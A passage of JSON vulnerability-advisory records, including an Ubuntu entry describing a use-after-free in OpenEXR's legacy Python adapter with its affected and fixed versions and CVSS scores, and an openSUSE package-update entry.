UAFs.","status":"published","published":"2026-07-13T14:36:48.484816Z","modified":"2026-07-13T16:32:32.975861589Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2025-64183","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, there is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.) Versions 3.2.5, 3.3.6, and 3.4.3 fix the issue.","status":"withdrawn","published":"2025-11-10T22:15:00Z","modified":"2026-04-17T10:11:30.294439Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:52.345622Z"},{"id":"openSUSE-SU-2025:15741-1","title":"libIex-3_4-33-3.4.3-1.1 on GA media","description":"These are all security issues fixed in the libIex-3_4-33-3.4.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-11-18T00:00:00Z","modified":"2026-03-23T04:54:09.181745Z","updated_at":"2026-11-02T16:58:37.810934Z"}]}}